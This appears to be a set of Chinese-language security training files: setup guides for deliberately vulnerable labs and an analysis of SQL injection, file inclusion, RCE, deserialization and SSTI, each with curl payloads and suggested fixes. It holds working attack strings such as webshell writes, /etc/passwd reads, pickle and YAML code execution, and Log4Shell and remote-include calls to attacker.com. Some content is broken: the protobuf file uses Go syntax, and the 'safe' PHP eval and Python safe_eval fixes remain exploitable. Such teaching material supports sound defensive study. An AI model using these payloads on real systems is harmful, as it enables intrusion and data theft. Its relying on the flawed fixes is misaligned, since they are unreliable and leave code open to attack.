- SSRFmap：`python ssrfmap.py -u "http://example.com/ssrf?url=test" --gopher --redis`

## 16. 总结

本文档提供了详细的漏洞攻击链分析、具体攻击步骤和完整的POC内容，涵盖了Web应用中常见的各种漏洞类型。这些内容可以帮助安全人员和开发人员更好地理解漏洞的原理和攻击方式，从而采取有效的防护措施。

在实际应用中，应根据具体的技术栈和业务场景，结合本文档提供的修复建议，实施全面的安全防护措施。同时，定期进行安全审计和渗透测试，及时发现和修复潜在的安全漏洞，确保系统的安全性。


path: examples/environment-simulation.md
content: # 漏洞环境模拟和搭建示例

## 1. SQL注入环境搭建

### 1.1 创建测试数据库
```sql
CREATE DATABASE test_db;
USE test_db;
CREATE TABLE users (id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50));
INSERT INTO users VALUES (1, 'admin', 'password123'), (2, 'user', 'user123');
```

### 1.2 搭建测试环境
```bash
# 使用Docker搭建测试环境
docker run -d --name sql-injection-test -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=test_db mysql:5.7
```

### 1.3 编写测试脚本
```javascript
// test-sql-injection.js
const mysql = require('mysql');
const express = require('express');
const app = express();

const db = mysql.createConnection({
  host: 'localhost',
  user: 'root',
  password: 'root',
  database: 'test_db'
});

app.get('/user', (req, res) => {
  const userID = req.query.id;
  const query = `SELECT * FROM users WHERE id = ${userID}`;
  db.query(query, (err, results) => {
    if (err) throw err;
    res.json(results);
  });
});

app.listen(3000, () => console.log('Server running on port 3000'));
```

### 1.4 测试漏洞
```bash
# 启动测试服务
node test-sql-injection.js

# 测试SQL注入
curl "http://localhost:3000/user?id=1 OR 1=1"
```

## 2. 命令注入环境搭建

### 2.1 编写测试脚本
```python
# test-command-injection.py
from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route('/ping')
def ping():
    host = request.args.get('host')
    command = f"ping -c 4 {host}"
    try:
        result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
        return result
    except subprocess.CalledProcessError as e:
        return e.output

if __name__ == '__main__':
    app.run(port=3000)
```

### 2.2 测试漏洞
```bash
# 启动测试服务
python test-command-injection.py

# 测试命令注入
curl "http://localhost:3000/ping?host=127.0.0.1; ls -la"
```

## 3. 跨站脚本(XSS)环境搭建

### 3.1 编写测试脚本
```javascript
// test-xss.js
const express = require('express');
const mysql = require('mysql');
const app = express();

app.use(express.urlencoded({ extended: true }));
app.set('view engine', 'ejs');

const db = mysql.createConnection({
  host: 'localhost',
  user: 'root',
  password: 'root',
  database: 'test_db'
});

// 创建comments表
db.query('CREATE TABLE IF NOT EXISTS comments (id INT AUTO_INCREMENT PRIMARY KEY, content TEXT)', (err) => {
  if (err) throw err;
});

app.post('/comments', (req, res) => {
  const comment = req.body.comment;
  db.query('INSERT INTO comments (content) VALUES (?)', [comment], (err) => {
    if (err) throw err;
    res.redirect('/comments');
  });
});

app.get('/comments', (req, res) => {
  db.query('SELECT * FROM comments', (err, results) => {
    if (err) throw err;
    res.render('comments', { comments: results });
  });
});

app.listen(3000, () => console.log('Server running on port 3000'));
```

### 3.2 创建视图文件
```html
<!-- views/comments.ejs -->
<!DOCTYPE html>
<html>
<head>
  <title>Comments</title>
</head>
<body>
  <h1>Comments</h1>
  <form action="/comments" method="post">
    <textarea name="comment" placeholder="Add a comment"></textarea>
    <button type="submit">Submit</button>
  </form>
  <div>
    <% comments.forEach(comment => { %>
      <div><%= comment.content %></div>
    <% }); %>
  </div>
</body>
</html>
```

### 3.3 测试漏洞
```bash
# 启动测试服务
node test-xss.js

# 访问 http://localhost:3000/comments 并提交恶意评论
# 恶意评论内容：<script>alert('XSS')</script>
```

## 4. Go语言gRPC服务环境搭建

### 4.1 编写测试服务
```go
// cmd/server/main.go
package main

import (
	"context"
	"log"
	"net"

	"google.golang.org/grpc"
	"google.golang.org/grpc/reflection"

	"example.com/grpc-service/api"
)

// UserService 实现 api.UserServiceServer 接口
type UserService struct{}

// GetUser 实现获取用户的方法
func (s *UserService) GetUser(ctx context.Context, req *api.GetUserRequest) (*api.GetUserResponse, error) {
	return &api.GetUserResponse{
		Id:       req.Id,
		Username: "testuser",
		Email:    "[REDACTED_SECRET]",
	}, nil
}

func main() {
	// 创建gRPC服务器
	server := grpc.NewServer()
	
	// 注册服务
	api.RegisterUserServiceServer(server, &UserService{})
	
	// ❌ 危险：启用反射功能，可能导致服务信息泄露
	reflection.Register(server)
	
	// 启动服务器
	listener, err := net.Listen("tcp", ":50051")
	if err != nil {
		log.Fatalf("Failed to listen: %v", err)
	}
	
	log.Println("Server listening on port 50051")
	if err := server.Serve(listener); err != nil {
		log.Fatalf("Failed to serve: %v", err)
	}
}
```

### 4.2 编写API定义
```protobuf
// api/user.proto
syntax = "proto3";

package api;

option go_package = "example.com/grpc-service/api";

// UserService 定义用户服务
service UserService {
  // GetUser 获取用户信息
  rpc GetUser (GetUserRequest) returns (GetUserResponse);
}

// GetUserRequest 获取用户请求
type GetUserRequest struct {
  int32 id = 1;
}

// GetUserResponse 获取用户响应
type GetUserResponse struct {
  int32 id = 1;
  string username = 2;
  string email = 3;
}
```

### 4.3 测试漏洞
```bash
# 编译并运行服务
go run cmd/server/main.go

# 使用grpc_cli工具获取服务列表
grpc_cli ls localhost:50051

# 获取服务方法
grpc_cli ls localhost:50051 example.com.grpc_service.api.UserService

# 获取方法详情
grpc_cli describe localhost:50051 example.com.grpc_service.api.UserService.GetUser

# 调用方法（如果不需要认证）
grpc_cli call localhost:50051 example.com.grpc_service.api.UserService.GetUser "id: 1"
```

## 5. Java Log4Shell环境搭建

### 5.1 编写测试应用
```java
// App.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    
    public static void main(String[] args) {
        String userInput = args[0];
        // ❌ 危险：直接记录用户输入
        logger.info("User input: {}", userInput);
        System.out.println("Application finished");
    }
}
```

### 5.2 编译和运行
```bash
# 编译应用
javac -cp "log4j-core-2.14.1.jar:log4j-api-2.14.1.jar" App.java

# 运行应用，触发漏洞
java -cp ".:log4j-core-2.14.1.jar:log4j-api-2.14.1.jar" App "${jndi:ldap://attacker.com:1389/exploit}"
```

## 6. Python Django CSRF环境搭建

### 6.1 创建Django项目
```bash
# 创建Django项目
django-admin startproject csrf_test
cd csrf_test

# 创建应用
python manage.py startapp transfers
```

### 6.2 编写视图
```python
# transfers/views.py
from django.http import HttpResponse

def transfer_money(request):
    # ❌ 危险：未检查CSRF令牌
    if request.method == 'POST':
        amount = request.POST.get('amount')
        recipient = request.POST.get('recipient')
        # 执行转账操作
        return HttpResponse('Transfer successful')
    return HttpResponse('GET request not allowed')
```

### 6.3 配置URL
```python
# csrf_test/urls.py
from django.contrib import admin
from django.urls import path
from transfers.views import transfer_money

urlpatterns = [
    path('admin/', admin.site.urls),
    path('transfer/', transfer_money),
]
```

### 6.4 测试漏洞
```bash
# 启动开发服务器
python manage.py runserver

# 创建测试页面，提交恶意请求
# 恶意页面内容：
# <form action="http://localhost:8000/transfer/" method="post">
#     <input type="hidden" name="amount" value="1000">
#     <input type="hidden" name="recipient" value="attacker">
#     <input type="submit" value="Click here for a free prize">
# </form>
# <script>document.forms[0].submit();</script>
```

## 7. PHP文件上传环境搭建

### 7.1 编写上传脚本
```php
<!-- upload.php -->
<!DOCTYPE html>
<html>
<body>

<form action="upload.php" method="post" enctype="multipart/form-data">
  Select image to upload:
  <input type="file" name="fileToUpload" id="fileToUpload">
  <input type="submit" value="Upload Image" name="submit">
</form>

</body>
</html>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $target_dir = "uploads/";
    if (!file_exists($target_dir)) {
        mkdir($target_dir, 0777, true);
    }
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
    
    // ❌ 危险：未验证文件类型
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])). " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>
```

### 7.2 测试漏洞
```bash
# 启动PHP服务器
php -S localhost:8000

# 访问 http://localhost:8000/upload.php 并上传恶意PHP文件
# 恶意文件内容：<?php system($_GET['cmd']); ?>

# 访问上传的文件，执行命令
# curl "http://localhost:8000/uploads/shell.php?cmd=ls -la"
```

path: examples/vulnerability-analysis.md
content: # 漏洞分析方法

> **本文档用途**: 学习漏洞分析的方法论和思路  
> **目标读者**: 安全审计人员  
> **内容特点**: 漏洞原理 + 分析方法 + 修复思路  
> **相关文档**:
> - [漏洞案例库](vulnerability-cases.md) - 查看实际漏洞案例
> - [攻击链与POC](detailed-vulnerability-chains.md) - 了解具体攻击步骤

---

## 1. SQL注入漏洞

### 漏洞原理
SQL注入是由于应用程序对用户输入的参数没有进行适当的验证和转义，导致攻击者可以构造恶意SQL语句，从而执行未授权的数据库操作。SQL注入漏洞是最常见且危害严重的Web应用漏洞之一。

**危害**：
- 未授权访问数据库数据
- 获取敏感信息（如用户密码、信用卡信息等）
- 修改数据库数据
- 执行数据库管理员操作
- 绕过认证
- 执行服务器端命令（在某些配置下）

### 代码片段

#### JavaScript/Node.js示例
```javascript
// 文件：src/api/user.js:12-20
app.get('/user', (req, res) => {
    const userID = req.query.user_id;
    // 直接使用用户输入
    db.query('SELECT * FROM users WHERE id = ' + userID, (err, results) => {
        res.json(results);
    });
});
```

### 攻击链分析
1. **攻击者构造恶意请求**：`GET /user?user_id=1 OR 1=1`
2. **服务器执行恶意SQL**：`SELECT * FROM users WHERE id = 1 OR 1=1`
3. **获取所有用户数据**：由于`1=1`永远为真，返回所有用户记录
4. **进一步攻击**：攻击者可以使用UNION注入获取数据库结构、使用堆叠注入执行多个SQL语句、使用时间盲注获取敏感信息等

### 攻击Payload
```bash
# 获取所有用户
curl "http://example.com/user?user_id=1 OR 1=1"

# 获取数据库信息
curl "http://example.com/user?user_id=1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema=database()"

# 写入Webshell
curl "http://example.com/user?user_id=1 INTO OUTFILE '/var/www/html/shell.php' FIELDS TERMINATED BY '<php>system($_GET[cmd]);</php>'"

# 执行系统命令（如果数据库支持）
curl "http://example.com/user?user_id=1; EXEC xp_cmdshell('dir')"
```

### 修复建议
```javascript
// ✅ 安全：使用参数化查询
app.get('/user', (req, res) => {
    const userID = req.query.user_id;
    // 使用参数化查询
    db.query('SELECT * FROM users WHERE id = ?', [userID], (err, results) => {
        res.json(results);
    });
});
```

### PHP特有SQL注入技术

#### 1. 编码类注入

##### Base64编码注入
**代码片段**：
```php
// 文件：src/api/user.php:10-20
<?php
include("../sql-connections/sql-connect.php");
$id=base64_decode($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if ($row) {
    echo "id:" .$row['id']. "<br>";
    echo "用户名:" .$row['username']. "<br>";
    echo "密码:" .$row['password']. "<br>";
}
?>
```

**攻击Payload**：
```bash
# 构造Base64编码的注入语句
# 原始注入语句：' union select 1,user(),3 -- +
# Base64编码后：JyB1bmlvbiBzZWxlY3QgMSx1c2VyKCksMyAtLSAr
curl "http://example.com/user.php?id=JyB1bmlvbiBzZWxlY3QgMSx1c2VyKCksMyAtLSAr"
```

##### URL解码注入
**代码片段**：
```php
// 文件：src/api/user.php:10-20
<?php
include("../sql-connections/sql-connect.php");
$id=urldecode($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if ($row) {
    echo "id:" .$row['id']. "<br>";
    echo "用户名:" .$row['username']. "<br>";
    echo "密码:" .$row['password']. "<br>";
}
?>
```

**攻击Payload**：
```bash
# 双重URL编码绕过
# 原始注入语句：' union select 1,user(),3 -- +
# 双重URL编码后：%2527%20union%20select%201%2Cuser%28%29%2C3%20--%20+
curl "http://example.com/user.php?id=%2527%20union%20select%201%2Cuser%28%29%2C3%20--%20+"
```

#### 2. 宽字节注入

**代码片段**：
```php
// 文件：src/api/user.php:10-20
<?php
$conn = mysql_connect('localhost', 'root', 'root');
mysql_select_db("security",$conn);
mysql_query("set names 'gbk' ",$conn);
$id=urldecode($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if ($row) {
    echo "id:" .$row['id']. "<br>";
    echo "用户名:" .$row['username']. "<br>";
    echo "密码:" .$row['password']. "<br>";
}
?>
```

**攻击原理**：
- 当设置编码为GBK时，MySQL会将两个字节解析为一个汉字
- 攻击者可以使用`%df'`这样的输入，与自动添加的反斜杠`\`（%5c）组合成汉字`運`
- 从而绕过单引号转义，实现SQL注入

**攻击Payload**：
```bash
# 宽字节注入获取用户信息
curl "http://example.com/user.php?id=1%df' union select 1,user(),3 -- +"
```

#### 3. PHP实战案例：熊海CMS V1.0后台登录注入

**代码片段**：
```php
// 文件：admin/files/login.php
<?php
if($_POST['login']=='yes'){
    $user=$_POST['user'];
    $[REDACTED_SECRET]'password'];
    $query="select * from admin where user='$user' and [REDACTED_SECRET]'";
    $result=mysql_query($query);
    $num=mysql_num_rows($result);
    if($num>0){
        $_SESSION['user']=$user;
        echo "<script>alert('登录成功');location.href='?r=index';</script>";
    }else{
        echo "<script>alert('登录失败');history.back();</script>";
    }
}
?>
```

**攻击Payload**：
```bash
# 报错注入获取数据库用户
curl -X POST "http://example.com/admin/?r=login" \
  -d "user=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- +&[REDACTED_SECRET]"

# 万能密码登录
curl -X POST "http://example.com/admin/?r=login" \
  -d "user=admin' -- +&[REDACTED_SECRET]"
```

#### 4. PHP SQL注入修复建议

```php
// ✅ 安全：使用参数化查询
<?php
// 使用PDO
$pdo = new PDO('mysql:host=localhost;dbname=security', 'root', 'root');
$pdo->exec("set names gbk");

$id = $_GET['id'];
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);
$row = $stmt->fetch();

if ($row) {
    echo "id:" .$row['id']. "<br>";
    echo "用户名:" .$row['username']. "<br>";
    echo "密码:" .$row['password']. "<br>";
}
?>

// ✅ 安全：使用mysqli预处理语句
<?php
$conn = mysqli_connect('localhost', 'root', 'root', 'security');
mysqli_set_charset($conn, 'gbk');

$id = $_GET['id'];
$stmt = mysqli_prepare($conn, 'SELECT * FROM users WHERE id = ?');
mysqli_stmt_bind_param($stmt, 's', $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_array($result);

if ($row) {
    echo "id:" .$row['id']. "<br>";
    echo "用户名:" .$row['username']. "<br>";
    echo "密码:" .$row['password']. "<br>";
}
?>
```

## 14. PHP SQL注入实战案例（ShopEx）

### 漏洞原理
ShopEx电商系统中的SQL注入漏洞是由于应用程序对用户输入的参数没有进行适当的验证和转义，导致攻击者可以构造恶意SQL语句，从而执行未授权的数据库操作。

**危害**：
- 未授权访问数据库数据
- 获取敏感信息（如用户密码、订单信息等）
- 修改数据库数据
- 执行数据库管理员操作
- 绕过认证

### 代码片段

#### 1. ShopEx产品查询SQL注入
```php
// 文件：core/shop/controller/ctl.tools.php
function products() {
    $objGoods  = &$this->system->loadModel('goods/products');

    $filter = array();
    foreach(explode(',',$_POST['goods']) as $gid) {
        $filter['goods_id'][] = $gid;
     }

    $this->pagedata['products'] = $objGoods->getList($objGoods->defaultCols.',find_in_set(goods_id,"'.$_POST['goods'].'") as rank',$filter,0,-1,array('rank','asc'));
}
```

#### 2. ShopEx消息删除SQL注入
```php
// 文件：core/model_v5/resources/mdl.msgbox.php
public function delTrackMsg( $aMsgId )
{
       foreach ( $aMsgId as $val )
       {
            if ( $val )
            {
                $aTmp[] = $val;
            }
    }
    if ( $aTmp )
        {
            $this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).") AND del_status='1'" );
            $this->db->exec( "UPDATE sdb_message SET del_status='2' WHERE msg_id IN (".implode( ",", $aTmp ).")" );
        }
        return true;
}
```

### 攻击Payload

#### 1. 产品查询注入
```bash
# 获取管理员账户信息
curl -X POST "http://example.com/tools.php?act=products" \
  -d "goods=aaa") FROM sdb_goods union select 1,concat(username,userpass),3,4,5,6,7,8,9,10,11,12,13 from sdb_operators%23"
```

#### 2. 消息删除注入
```bash
# 布尔盲注判断管理员账户数量
curl -X POST "http://example.com/member.php?act=delTrackMsg" \
  -d "deltrack[1]=1) and (select count(*) from sdb_operators)=1%23"
```

### 攻击链分析
1. **攻击者构造恶意请求**：通过POST请求提交包含SQL注入 payload 的数据
2. **服务器处理请求**：直接将用户输入拼接到SQL语句中
3. **执行恶意SQL**：数据库执行包含恶意代码的SQL语句
4. **获取敏感信息**：攻击者获取数据库中的敏感信息或执行未授权操作

### 修复建议

#### 1. 产品查询修复
```php
// ✅ 安全：使用参数化查询
function products() {
    $objGoods  = &$this->system->loadModel('goods/products');

    $filter = array();
    $goodsIds = array();
    foreach(explode(',',$_POST['goods']) as $gid) {
        if (is_numeric($gid)) {
            $filter['goods_id'][] = $gid;
            $goodsIds[] = $gid;
        }
     }

    $goodsList = implode(',', $goodsIds);
    $this->pagedata['products'] = $objGoods->getList($objGoods->defaultCols.',find_in_set(goods_id,"'.$goodsList.'") as rank',$filter,0,-1,array('rank','asc'));
}
```

#### 2. 消息删除修复
```php
// ✅ 安全：验证输入类型
public function delTrackMsg( $aMsgId )
{
       foreach ( $aMsgId as $val )
       {
            if ( $val && is_numeric($val) )
            {
                $aTmp[] = intval($val);
            }
    }
    if ( $aTmp )
        {
            $this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).") AND del_status='1'" );
            $this->db->exec( "UPDATE sdb_message SET del_status='2' WHERE msg_id IN (".implode( ",", $aTmp ).")" );
        }
        return true;
}
```

## 15. PHP文件包含实战案例（ShopEx）

### 漏洞原理
ShopEx电商系统中的文件包含漏洞是由于应用程序对用户输入的参数没有进行适当的验证和过滤，导致攻击者可以包含未授权的文件，从而执行恶意代码。

**危害**：
- 读取敏感文件（如配置文件、密码文件）
- 执行恶意代码（通过包含恶意文件）
- 服务器接管
- 持久化攻击

### 代码片段

#### ShopEx API文件包含漏洞
```php
// 文件：core/api/shop_api.php
if ( isset($_REQUEST['appname']) ) {
    $appName = preg_replace('/[^a-z0-1_~]/i', '', $_REQUEST['appname']);
} elseif ( strpos($apiAct, ':') > 0 ) {// request plugin api
    list($appName, $apiAct) = explode(':', $apiAct);
} elseif ( 0 === strpos($apiAct,'shopex_') ) { // 照顾"商品助理"
    $appName = 'goodsassistant';
}

if ( $appName && file_exists(PLUGIN_DIR."/app/{$appName}/api/api_link.php") ) {
    $APIs = include PLUGIN_DIR."/app/{$appName}/api/api_link.php";
} else {// request traditional api
    $APIs = include CORE_DIR.'/api/include/api_link.php';
}
```

### 攻击Payload
```bash
# 包含本地文件
curl "http://example.com/api.php?act=../../etc/passwd:cc"

# 包含远程文件（如果allow_url_include开启）
curl "http://example.com/api.php?act=http://attacker.com/shell.txt:cc"
```

### 攻击链分析
1. **攻击者构造恶意请求**：通过GET请求提交包含文件路径的act参数
2. **服务器处理请求**：使用explode(':')分割act参数，获取appName
3. **包含恶意文件**：直接使用appName拼接到文件路径中并包含
4. **执行恶意代码**：如果包含的文件存在恶意代码，服务器会执行

### 修复建议
```php
// ✅ 安全：验证appName
if ( isset($_REQUEST['appname']) ) {
    $appName = preg_replace('/[^a-z0-9_~]/i', '', $_REQUEST['appname']);
} elseif ( strpos($apiAct, ':') > 0 ) {// request plugin api
    list($appName, $apiAct) = explode(':', $apiAct);
    // 验证appName
    $appName = preg_replace('/[^a-z0-9_~]/i', '', $appName);
} elseif ( 0 === strpos($apiAct,'shopex_') ) { // 照顾"商品助理"
    $appName = 'goodsassistant';
}

if ( $appName && file_exists(PLUGIN_DIR."/app/{$appName}/api/api_link.php") ) {
    $APIs = include PLUGIN_DIR."/app/{$appName}/api/api_link.php";
} else {// request traditional api
    $APIs = include CORE_DIR.'/api/include/api_link.php';
}
```

## 16. PHP远程代码执行（RCE）漏洞

### 漏洞原理
PHP远程代码执行（RCE）漏洞是由于应用程序直接将用户可控的输入传递给代码执行函数，导致攻击者可以在服务器上执行任意PHP代码。

**危害**：
- 执行任意PHP代码
- 读取敏感文件
- 修改系统配置
- 获取服务器权限
- 控制整个服务器

### 代码片段

#### 1. 使用eval()函数的RCE
```php
// 文件：src/api/test.php
<?php
$code = $_GET['code'];
eval($code);
?>
```

#### 2. 使用call_user_func()函数的RCE
```php
// 文件：src/api/test.php
<?php
$func = $_GET['func'];
$param = $_GET['param'];
call_user_func($func, $param);
?>
```

#### 3. 使用array_map()函数的RCE
```php
// 文件：src/api/test.php
<?php
$func = $_GET['func'];
$array = [$_GET['param']];
array_map($func, $array);
?>
```

### 攻击Payload
```bash
# 使用eval()执行系统命令
curl "http://example.com/test.php?code=system('ls -la');"

# 使用call_user_func()执行系统命令
curl "http://example.com/test.php?func=system&param=ls -la"

# 使用array_map()执行系统命令
curl "http://example.com/test.php?func=system&param=ls -la"
```

### 攻击链分析
1. **攻击者构造恶意请求**：通过GET请求提交包含恶意代码的参数
2. **服务器处理请求**：将用户输入传递给代码执行函数
3. **执行恶意代码**：服务器执行包含恶意代码的PHP语句
4. **获取服务器权限**：攻击者可以执行任意系统命令，获取服务器控制权

### 修复建议
```php
// ✅ 安全：避免使用危险函数
<?php
// 1. 不使用eval()等危险函数
// 2. 如果必须使用，确保输入经过严格验证
function safeExecute($code) {
    // 严格验证输入
    $allowedFunctions = ['strlen', 'substr', 'md5'];
    $pattern = '/[^a-zA-Z0-9_\s.()\"\'{}[]+-*/%=&|<>]/';
    if (preg_match($pattern, $code)) {
        return 'Invalid input';
    }
    
    // 验证是否只使用了允许的函数
    foreach ($allowedFunctions as $func) {
        if (strpos($code, $func) !== false) {
            return eval('return ' . $code . ';');
        }
    }
    return 'Function not allowed';
}

// 3. 使用白名单限制回调函数
$allowedCallbacks = ['strlen', 'substr', 'md5'];
$func = $_GET['func'];
if (in_array($func, $allowedCallbacks)) {
    $param = $_GET['param'];
    call_user_func($func, $param);
} else {
    echo 'Function not allowed';
}
?>
```

## 17. PHP URL重定向漏洞

### 漏洞原理
PHP URL重定向漏洞是由于应用程序直接将用户可控的输入作为重定向URL，导致攻击者可以构造恶意URL，诱导用户访问恶意网站。

**危害**：
- 钓鱼攻击：诱导用户访问恶意网站
- 会话劫持：通过恶意网站窃取用户会话
- 品牌损害：恶意网站可能伪装成合法网站
- 安全绕过：绕过同源策略限制

### 代码片段
```php
// 文件：src/api/redirect.php
<?php
$url = $_GET['url'];
header("Location: $url");
?>
```

### 攻击Payload
```bash
# 重定向到恶意网站
curl "http://example.com/redirect.php?url=http://attacker.com"

# 构造钓鱼链接
http://example.com/redirect.php?url=http://attacker.com/login.php
```

### 攻击链分析
1. **攻击者构造恶意链接**：包含指向恶意网站的URL参数
2. **用户点击链接**：用户点击包含恶意参数的链接
3. **服务器重定向**：服务器将用户重定向到恶意网站
4. **执行恶意操作**：恶意网站执行钓鱼、会话窃取等操作

### 修复建议
```php
// ✅ 安全：使用白名单限制重定向URL
<?php
$url = $_GET['url'];

// 白名单限制
$allowedDomains = ['example.com', 'subdomain.example.com'];
$parsedUrl = parse_url($url);

if (isset($parsedUrl['host']) && in_array($parsedUrl['host'], $allowedDomains)) {
    header("Location: $url");
} else {
    header("Location: https://example.com");
}
?>
```

## 18. Python代码注入漏洞

### 漏洞原理
Python代码注入漏洞是由于应用程序直接将用户可控的输入传递给代码执行函数，导致攻击者可以在服务器上执行任意Python代码。

**危害**：
- 执行任意Python代码
- 读取敏感文件
- 修改系统配置
- 获取服务器权限
- 控制整个服务器

### 代码片段

#### 1. 使用eval()函数的代码注入
```python
# 文件：src/api/test.py
def execute_code():
    code = request.args.get('code')
    result = eval(code)
    return str(result)
```

#### 2. 使用exec()函数的代码注入
```python
# 文件：src/api/test.py
def execute_code():
    code = request.args.get('code')
    exec(code)
    return "Code executed"
```

#### 3. 使用subprocess模块的命令执行
```python
# 文件：src/api/test.py
import subprocess
def execute_command():
    cmd = request.args.get('cmd')
    result = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return result.stdout.read().decode('utf-8')
```

### 攻击Payload
```bash
# 使用eval()执行系统命令
curl "http://example.com/test?code=__import__('os').system('ls -la')"

# 使用exec()执行系统命令
curl "http://example.com/test?code=__import__('os').system('ls -la')"

# 使用subprocess执行系统命令
curl "http://example.com/test?cmd=ls -la"
```

### 攻击链分析
1. **攻击者构造恶意请求**：通过GET请求提交包含恶意代码的参数
2. **服务器处理请求**：将用户输入传递给代码执行函数
3. **执行恶意代码**：服务器执行包含恶意代码的Python语句
4. **获取服务器权限**：攻击者可以执行任意系统命令，获取服务器控制权

### 修复建议
```python
# ✅ 安全：避免使用危险函数
# 1. 不使用eval()、exec()等危险函数
# 2. 如果必须使用，确保输入经过严格验证
import ast
def safe_eval(expression):
    # 只允许基本表达式
    allowed_nodes = {
        ast.Expression,
        ast.BinOp,
        ast.UnaryOp,
        ast.Compare,
        ast.Call,
        ast.Name,
        ast.Constant,
        ast.Load,
        ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Mod,
        ast.Pow, ast.FloorDiv, ast.Mod,
        ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
        ast.Not, ast.USub,
        ast.And, ast.Or, ast.Not
    }
    
    try:
        tree = ast.parse(expression, mode='eval')
        for node in ast.walk(tree):
            if type(node) not in allowed_nodes:
                raise ValueError(f"Disallowed node type: {type(node).__name__}")
        return eval(expression)
    except Exception as e:
        return f"Error: {str(e)}"

# 3. 使用安全的命令执行方式
import subprocess
def safe_execute_command(command):
    # 使用白名单限制命令
    allowed_commands = ['ls', 'pwd', 'date']
    cmd_parts = command.split()
    if cmd_parts[0] not in allowed_commands:
        return "Command not allowed"
    
    # 使用参数列表执行命令
    result = subprocess.run(cmd_parts, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    return result.stdout
```

## 19. Python反序列化漏洞

### 漏洞原理
Python反序列化漏洞是由于应用程序直接反序列化用户可控的数据，导致攻击者可以构造恶意序列化数据，在反序列化过程中执行任意代码。

**危害**：
- 执行任意Python代码
- 读取敏感文件
- 修改系统配置
- 获取服务器权限
- 控制整个服务器

### 代码片段

#### 1. 使用pickle模块的反序列化
```python
# 文件：src/api/test.py
import pickle
def deserialize_data():
    data = request.get_data()
    obj = pickle.loads(data)
    return str(obj)
```

#### 2. 使用PyYAML模块的反序列化
```python
# 文件：src/api/test.py
import yaml
def deserialize_data():
    data = request.get_data()
    obj = yaml.load(data)
    return str(obj)
```

### 攻击Payload

#### 1. pickle反序列化攻击
```python
# 构造恶意pickle数据
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('ls -la',))

exploit = Exploit()
payload = pickle.dumps(exploit)
# 将payload发送到服务器
```

#### 2. PyYAML反序列化攻击
```yaml
# 构造恶意YAML数据
!!python/object/apply:os.system ['ls -la']
```

### 攻击链分析
1. **攻击者构造恶意序列化数据**：创建包含恶意代码的序列化对象
2. **攻击者发送恶意数据**：通过HTTP请求将恶意数据发送到服务器
3. **服务器反序列化数据**：使用pickle或yaml.load()反序列化数据
4. **执行恶意代码**：反序列化过程中执行恶意代码，获取服务器控制权

### 修复建议
```python
# ✅ 安全：避免反序列化用户可控数据
# 1. 使用JSON替代pickle进行序列化
import json
def serialize_data():
    data = {"key": "value"}
    return json.dumps(data)

def deserialize_data():
    data = request.get_data()
    obj = json.loads(data)
    return str(obj)

# 2. 如果必须使用pickle，使用HMAC验证数据完整性
import pickle
import hmac
import hashlib

SECRET_KEY = b"your-secret-key"

def secure_pickle_load(data):
    # 分离签名和数据
    sig, pickled_data = data.split(b'--', 1)
    # 验证签名
    expected_sig = hmac.new(SECRET_KEY, pickled_data, hashlib.sha256).digest()
    if not hmac.compare_digest(sig, expected_sig):
        raise ValueError("Invalid signature")
    # 反序列化数据
    return pickle.loads(pickled_data)

# 3. 使用PyYAML的安全加载函数
def secure_yaml_load(data):
    return yaml.safe_load(data)
```

## 20. Python SSTI（服务器端模板注入）漏洞

### 漏洞原理
Python SSTI漏洞是由于应用程序直接将用户可控的输入作为模板参数，导致攻击者可以在模板中注入恶意代码。

**危害**：
- 执行任意Python代码
- 读取敏感文件
- 修改系统配置
- 获取服务器权限
- 控制整个服务器

### 代码片段

#### 1. 使用Flask Jinja2模板的SSTI
```python
# 文件：src/api/test.py
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/test')
def test():
    name = request.args.get('name')
    template = f"Hello, {name}!"
    return render_template_string(template)
```

### 攻击Payload
```bash
# 执行系统命令
curl "http://example.com/test?name={{config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}"

# 读取敏感文件
curl "http://example.com/test?name={{__import__('os').popen('cat /etc/passwd').read()}}"
```

### 攻击链分析
1. **攻击者构造恶意请求**：通过GET请求提交包含恶意模板代码的参数
2. **服务器处理请求**：将用户输入拼接到模板中
3. **渲染模板**：服务器渲染包含恶意代码的模板
4. **执行恶意代码**：模板引擎执行恶意代码，获取服务器控制权

### 修复建议
```python
# ✅ 安全：避免直接拼接模板
# 1. 使用模板变量而非直接拼接
@app.route('/test')
def test():
    name = request.args.get('name')
    # 使用模板变量，而非直接拼接
    return render_template_string("Hello, {{ name }}!", name=name)

# 2. 使用沙箱环境限制模板执行
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()

